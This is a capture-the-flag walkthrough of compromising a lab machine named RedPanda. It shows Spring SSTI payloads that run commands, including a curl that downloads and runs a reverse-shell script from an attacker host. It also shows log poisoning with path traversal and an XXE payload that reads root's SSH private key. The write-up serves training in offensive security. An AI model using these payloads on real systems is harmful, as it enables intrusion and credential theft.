Initial Recon

Nmap

Starting with a full tcp port scan, I got the following result:

$ nmap -p- -A 10.10.11.170
Starting Nmap 7.93 ( https://nmap.org ) at 2022-11-27 08:32 EET
Nmap scan report for 10.10.11.170
Host is up (0.13s latency).
Not shown: 65533 closed tcp ports (conn-refused)
PORT     STATE SERVICE    VERSION
22/tcp   open  ssh        OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 48add5b83a9fbcbef7e8201ef6bfdeae (RSA)
|   256 b7896c0b20ed49b2c1867c2992741c1f (ECDSA)
|_  256 18cd9d08a621a8b8b6f79f8d405154fb (ED25519)
8080/tcp open  http-proxy
| fingerprint-strings: 
|   GetRequest: 
|     HTTP/1.1 200 
|     Content-Type: text/html;charset=UTF-8
|     Content-Language: en-US
|     Date: Sun, 27 Nov 2022 06:39:50 GMT
|     Connection: close
|     <!DOCTYPE html>
|     <html lang="en" dir="ltr">
|     <head>
|     <meta charset="utf-8">
|     <meta author="wooden_k">
|     <!--Codepen by khr2003: https://codepen.io/khr2003/pen/BGZdXw -->
|     <link rel="stylesheet" href="css/panda.css" type="text/css">
|     <link rel="stylesheet" href="css/main.css" type="text/css">
|     <title>Red Panda Search | Made with Spring Boot</title>
|     </head>
|     <body>
|     <div class='pande'>
|     <div class='ear left'></div>
|     <div class='ear right'></div>
|     <div class='whiskers left'>
|     <span></span>
|     <span></span>
|     <span></span>
|     </div>
|     <div class='whiskers right'>
|     <span></span>
|     <span></span>
|     <span></span>
|     </div>
|     <div class='face'>
|     <div class='eye
|   HTTPOptions: 
|     HTTP/1.1 200 
|     Allow: GET,HEAD,OPTIONS
|     Content-Length: 0
|     Date: Sun, 27 Nov 2022 06:39:50 GMT
|     Connection: close
|   RTSPRequest: 
|     HTTP/1.1 400 
|     Content-Type: text/html;charset=utf-8
|     Content-Language: en
|     Content-Length: 435
|     Date: Sun, 27 Nov 2022 06:39:50 GMT
|     Connection: close
|     <!doctype html><html lang="en"><head><title>HTTP Status 400 
|     Request</title><style type="text/css">body {font-family:Tahoma,Arial,sans-serif;} h1, h2, h3, b {color:white;background-color:#525D76;} h1 {font-size:22px;} h2 {font-size:16px;} h3 {font-size:14px;} p {font-size:12px;} a {color:black;} .line {height:1px;background-color:#525D76;border:none;}</style></head><body><h1>HTTP Status 400 
|_    Request</h1></body></html>
|_http-title: Red Panda Search | Made with Spring Boot
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port8080-TCP:V=7.93%I=7%D=11/27%Time=63830638%P=x86_64-pc-linux-gnu%r(G
SF:etRequest,690,"HTTP/1\.1\x20200\x20\r\nContent-Type:\x20text/html;chars
SF:et=UTF-8\r\nContent-Language:\x20en-US\r\nDate:\x20Sun,\x2027\x20Nov\x2
SF:02022\x2006:39:50\x20GMT\r\nConnection:\x20close\r\n\r\n<!DOCTYPE\x20ht
SF:ml>\n<html\x20lang=\"en\"\x20dir=\"ltr\">\n\x20\x20<head>\n\x20\x20\x20
SF:\x20<meta\x20charset=\"utf-8\">\n\x20\x20\x20\x20<meta\x20author=\"wood
SF:en_k\">\n\x20\x20\x20\x20<!--Codepen\x20by\x20khr2003:\x20https://codep
SF:en\.io/khr2003/pen/BGZdXw\x20-->\n\x20\x20\x20\x20<link\x20rel=\"styles
SF:heet\"\x20href=\"css/panda\.css\"\x20type=\"text/css\">\n\x20\x20\x20\x
SF:20<link\x20rel=\"stylesheet\"\x20href=\"css/main\.css\"\x20type=\"text/
SF:css\">\n\x20\x20\x20\x20<title>Red\x20Panda\x20Search\x20\|\x20Made\x20
SF:with\x20Spring\x20Boot</title>\n\x20\x20</head>\n\x20\x20<body>\n\n\x20
SF:\x20\x20\x20<div\x20class='pande'>\n\x20\x20\x20\x20\x20\x20<div\x20cla
SF:ss='ear\x20left'></div>\n\x20\x20\x20\x20\x20\x20<div\x20class='ear\x20
SF:right'></div>\n\x20\x20\x20\x20\x20\x20<div\x20class='whiskers\x20left'
SF:>\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20<span></span>\n\x20\x20\x20\
SF:x20\x20\x20\x20\x20\x20\x20<span></span>\n\x20\x20\x20\x20\x20\x20\x20\
SF:x20\x20\x20<span></span>\n\x20\x20\x20\x20\x20\x20</div>\n\x20\x20\x20\
SF:x20\x20\x20<div\x20class='whiskers\x20right'>\n\x20\x20\x20\x20\x20\x20
SF:\x20\x20<span></span>\n\x20\x20\x20\x20\x20\x20\x20\x20<span></span>\n\
SF:x20\x20\x20\x20\x20\x20\x20\x20<span></span>\n\x20\x20\x20\x20\x20\x20<
SF:/div>\n\x20\x20\x20\x20\x20\x20<div\x20class='face'>\n\x20\x20\x20\x20\
SF:x20\x20\x20\x20<div\x20class='eye")%r(HTTPOptions,75,"HTTP/1\.1\x20200\
SF:x20\r\nAllow:\x20GET,HEAD,OPTIONS\r\nContent-Length:\x200\r\nDate:\x20S
SF:un,\x2027\x20Nov\x202022\x2006:39:50\x20GMT\r\nConnection:\x20close\r\n
SF:\r\n")%r(RTSPRequest,24E,"HTTP/1\.1\x20400\x20\r\nContent-Type:\x20text
SF:/html;charset=utf-8\r\nContent-Language:\x20en\r\nContent-Length:\x2043
SF:5\r\nDate:\x20Sun,\x2027\x20Nov\x202022\x2006:39:50\x20GMT\r\nConnectio
SF:n:\x20close\r\n\r\n<!doctype\x20html><html\x20lang=\"en\"><head><title>
SF:HTTP\x20Status\x20400\x20\xe2\x80\x93\x20Bad\x20Request</title><style\x
SF:20type=\"text/css\">body\x20{font-family:Tahoma,Arial,sans-serif;}\x20h
SF:1,\x20h2,\x20h3,\x20b\x20{color:white;background-color:#525D76;}\x20h1\
SF:x20{font-size:22px;}\x20h2\x20{font-size:16px;}\x20h3\x20{font-size:14p
SF:x;}\x20p\x20{font-size:12px;}\x20a\x20{color:black;}\x20\.line\x20{heig
SF:ht:1px;background-color:#525D76;border:none;}</style></head><body><h1>H
SF:TTP\x20Status\x20400\x20\xe2\x80\x93\x20Bad\x20Request</h1></body></htm
SF:l>");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 469.78 seconds

There are 2 open ports 22 running SSH and 8080 running a web server.

Surfing the Webpage

It appears that the web server is an application that has some blogs and their authors, and has a search functionality to search for blogs.

Home Page

Trying to search for h character:

Trying To Search

Noticing Weird Error

Intercepting the request with Burp Suite:

Intercepting The Request

Its a post request that takes name as post parameter. What I’ll do is to try to inject this parameter with different characters and see if the application behaves differently on a certain character which might indicate an injection possibility.

Using Wfuzz:

$ wfuzz -w /usr/share/seclists/Fuzzing/alphanum-case-extra.txt -u http://10.10.11.170:8080/search -X POST -d 'name=FUZZ' --hc 200 --zE urlencode
 /usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://10.10.11.170:8080/search
Total requests: 95

=====================================================================
ID           Response   Lines    Word       Chars       Payload                                                                                                                                            
=====================================================================

000000009:   500        0 L      3 W        120 Ch      "%29"                                                                                                                                              
000000060:   500        0 L      3 W        120 Ch      "%5C"                                                                                                                                              
000000091:   500        0 L      3 W        120 Ch      "%7B"                                                                                                                                              
000000093:   500        0 L      3 W        120 Ch      "%7D"                                                                                                                                              

Total time: 0
Processed Requests: 95
Filtered Requests: 91
Requests/sec.: 0

There are 4 characters that crashes the application:

%29  =>  )
%5C  =>  \
%7B  =>  {
%7D  =>  }

Knowing That The Backend Is Spring Boot

Looking at the error to see if it discloses some information about the server:

Error 500

It doesn’t, however if I search for the error on google, I can see that it relates to Spring Boot Java Application:

Searching For Error

Sprin Boot is well know for its Framework that uses Expression Language, and these characters are usually used in Template Expressions. In addition since I can see that my search input is reflected back in the page, this might indicate that my input is being placed within a template expression, so I can try to inject it and see if I get a valid injection response back.

Exploiting SSTI

After trying some payloads I got a valid hit usinng *{ 7 * 7 } which resulted in a response of “You searched for 49” meaning that the application is executing my input:

Injection Testing

Now, searching for specific Spring Boot payloads to get code execution, I found this: https://book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection#spring-framework-java

A payload like the below can achieve code remote execution on the server, executing the id command: *{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec('id').getInputStream())}

id Command Execution

Getting Reverse Shell

To get a reverse shell, I will first upload a bash reverse shell script to the target machine, make it executable and then execute it.

The following payloads can achieve this:

*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec('curl http://10.10.16.2:8000/shell.sh -o /tmp/shell.sh').getInputStream())}

*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec('chmod +x /tmp/shell.sh').getInputStream())}

*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec('bash /tmp/shell.sh').getInputStream())}

Getting RCE

Now, I will get a fully interactive shell using the below commands:

$ python3 -c 'import pty;pty.spawn("/bin/bash")'
$ [ctrl-z]
$ stty raw -echo; fg

[then press enter]

Getting Fully Interactive Shell

  • Sometimes you need to export the TERM environment variable to be able to clear the sceen using clear command: export TERM=xterm.

Snooping On Root Processes

Using pspy, I can snoop on processes and see if there is any job being ran by root user:

Running Pspy

root user is running a .jar file belonging to the credit-score LogParser custom project, located in /opt directory.

  • .jar files are archive files that stores (or aggregates) .class java files and associated metadata and resources like text, images, etc.
  • .class java files are the compiled version of a java project’s source code (usually java source code have the extension .java)

Understanding What Root Is Running

So, I’ll take a look at the code of the project to see what it does:

Listing The File

public static void main(String[] args) throws JDOMException, IOException, JpegProcessingException {
        File log_fd = new File("/opt/panda_search/redpanda.log");
        Scanner log_reader = new Scanner(log_fd);
        while(log_reader.hasNextLine())
        {
            String line = log_reader.nextLine();
            if(!isImage(line))
            {
                continue;
            }
            Map parsed_data = parseLog(line);
            System.out.println(parsed_data.get("uri"));
            String artist = getArtist(parsed_data.get("uri").toString());
            System.out.println("Artist: " + artist);
            String xmlPath = "/credits/" + artist + "_creds.xml";
            addViewTo(xmlPath, parsed_data.get("uri").toString());
        }

    }

First, in the main function, the application will read a log file /opt/panda_search/redpanda.log, and will call the function isImage() on each line of it.

public static boolean isImage(String filename){
        if(filename.contains(".jpg"))
        {
            return true;
        }
        return false;
    }

This function appears to be checking the string parameter called filename (in this case it’s each line of the log file) to see if it contains .jpg substring.

If yes, then it will call parseLog() function on it.

public static Map parseLog(String line) {
        String[] strings = line.split("\\|\\|");
        Map map = new HashMap<>();
        map.put("status_code", Integer.parseInt(strings[0]));
        map.put("ip", strings[1]);
        map.put("user_agent", strings[2]);
        map.put("uri", strings[3]);
        

        return map;
    }

Which will split the line using pipe | character as delimiter, and will store each part from 0 to 3 in a hashmap.

Then it will print the value of uri key in that hashmap, and will pass this value to getArtist() function.

public static String getArtist(String uri) throws IOException, JpegProcessingException
    {
        String fullpath = "/opt/panda_search/src/main/resources/static" + uri;
        File jpgFile = new File(fullpath);
        Metadata metadata = JpegMetadataReader.readMetadata(jpgFile);
        for(Directory dir : metadata.getDirectories())
        {
            for(Tag tag : dir.getTags())
            {
                if(tag.getTagName() == "Artist")
                {
                    return tag.getDescription();
                }
            }
        }

        return "N/A";
    }

This function reads an image file from /opt/panda_search/src/main/resources/static directory, in which its name will be the value of uri key stored in the hashmap, and will process it and get the value of Artist metadata tag.

After that, it will print that name and build a new path for a XML file as: /credits/ + [artist name that it just got] + _creds.xml.

Finally, it will call addViewTo() function that takes two parameters, the first is XML Path that it just created and the value of the uri key from the hashmap.

public static void addViewTo(String path, String uri) throws JDOMException, IOException
    {
        SAXBuilder saxBuilder = new SAXBuilder();
        XMLOutputter xmlOutput = new XMLOutputter();
        xmlOutput.setFormat(Format.getPrettyFormat());

        File fd = new File(path);
        
        Document doc = saxBuilder.build(fd);
        
        Element rootElement = doc.getRootElement();
 
        for(Element el: rootElement.getChildren())
        {
    
            
            if(el.getName() == "image")
            {
                if(el.getChild("uri").getText().equals(uri))
                {
                    Integer totalviews = Integer.parseInt(rootElement.getChild("totalviews").getText()) + 1;
                    System.out.println("Total views:" + Integer.toString(totalviews));
                    rootElement.getChild("totalviews").setText(Integer.toString(totalviews));
                    Integer views = Integer.parseInt(el.getChild("views").getText());
                    el.getChild("views").setText(Integer.toString(views + 1));
                }
            }
        }
        BufferedWriter writer = new BufferedWriter(new FileWriter(fd));
        xmlOutput.output(doc, writer);
    }

This function will parse the xml file, going over each tag from parent to child looking for the image tag, then it will compare its uri child tag value to see if it matches the uri paramter (the one gotten from the hashmap).

If there is a match, it will add 1 to the views child tag, and then update the totalviews tag at the end, and will write these changes to the new XML file in the path parameter (/credits/ + [artist name] + _creds.xml).

This is how the xml file looks liks:

woodenk@redpanda:/credits$ cat woodenk_creds.xml 

<?xml version="1.0" encoding="UTF-8"?>
<credits>
  <author>woodenk</author>
  <image>
    <uri>/img/greg.jpg</uri>
    <views>0</views>
  </image>
  <image>
    <uri>/img/hungy.jpg</uri>
    <views>0</views>
  </image>
  <image>
    <uri>/img/smooch.jpg</uri>
    <views>0</views>
  </image>
  <image>
    <uri>/img/smiley.jpg</uri>
    <views>0</views>
  </image>
  <totalviews>0</totalviews>
</credits>

Idea To Escalate Privileges

The idea of the attack here is that I can change the Artist metadata value of the image file to be ../dev/shm/woodenk for example, so that the XML Path created from /credits/ + [artist name] + _creds.xml will become /credits/../dev/shm/woodenk_creds.xml pointing to /tmp/woodenk_creds.xml where I have write permission to.

Then, this new XML file will have the same content as /credits/woodenk_creds.xml, except for one uri tag that will have /../../../../../../../../../../../dev/shm/greg.jpg as value (pointing to the image that I made having ‘Artist: ../dev/shm/woodenk’ metadata), and this is done to bypass the isImage() function which will return true when reading this.

I also need to append a XXE payload after the uri tag directly, that will point to /root/.ssh/id_rsa in order to read it.

Finally, I’ll poison the log file /opt/panda_search/redpanda.log with a payload like 200||10.10.10.10||mozilla||/../../../../../../../../../../../dev/shm/greg.jpg (The value /../../../../../../../../../../../dev/shm/greg.jpg here needs to be the same as the one in the XML uri tag to bypass the checking in the addViewTo() function that tries to compare these 2 values).

  • Command to poison to the log:
    echo '200||10.10.10.10||Mozilla||/../../../../../../../../../../../dev/shm/greg.jpg' >> /opt/panda_search/redpanda.log
    

I was able to write to the log file since I am part of log group that has write permission to it.

woodenk@redpanda:/tmp$ id
uid=1000(woodenk) gid=1001(logs) groups=1001(logs),1000(woodenk)
woodenk@redpanda:/tmp$ ls -la /opt/panda_search/redpanda.log 
-rw-rw-r-- 1 root logs 1 Nov 30 19:48 /opt/panda_search/redpanda.log

And if I wait a little bit, I will be able to read the content of /dev/shm/woodenk_creds.xml and I will see the content of root’s id_rsa in it, and this is due to the XXE payload that tricks java to unintentionally write the value of /root/.ssh/id_rsa in the file while parsing it.

The malicious XML file will look like this:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///root/.ssh/id_rsa" > ]>
<credits>
  <author>woodenk</author>
  <image>
    <uri>/../../../../../../../../../../../dev/shm/greg.jpg</uri>
    <rootsshkey>&xxe;</rootsshkey>
    <views>3</views>
  </image>
  <image>
    <uri>/img/hungy.jpg</uri>
    <views>0</views>
  </image>
  <image>
    <uri>/img/smooch.jpg</uri>
    <views>0</views>
  </image>
  <image>
    <uri>/img/smiley.jpg</uri>
    <views>0</views>
  </image>
  <totalviews>3</totalviews>
</credits>

Getting Root User

Changing Artist metadata:

Changing Artist Metadata

Uploading greg Image

Writing new XML and poisoning logs:

Wrting XML And Poisoning logs

Reading root’s SSH private key:

Reading root&rsquo;s SSH Private Key

Grabbing root’s SSH and logging in:

Copying Root&rsquo;s SSH Private Key

Logging In As Root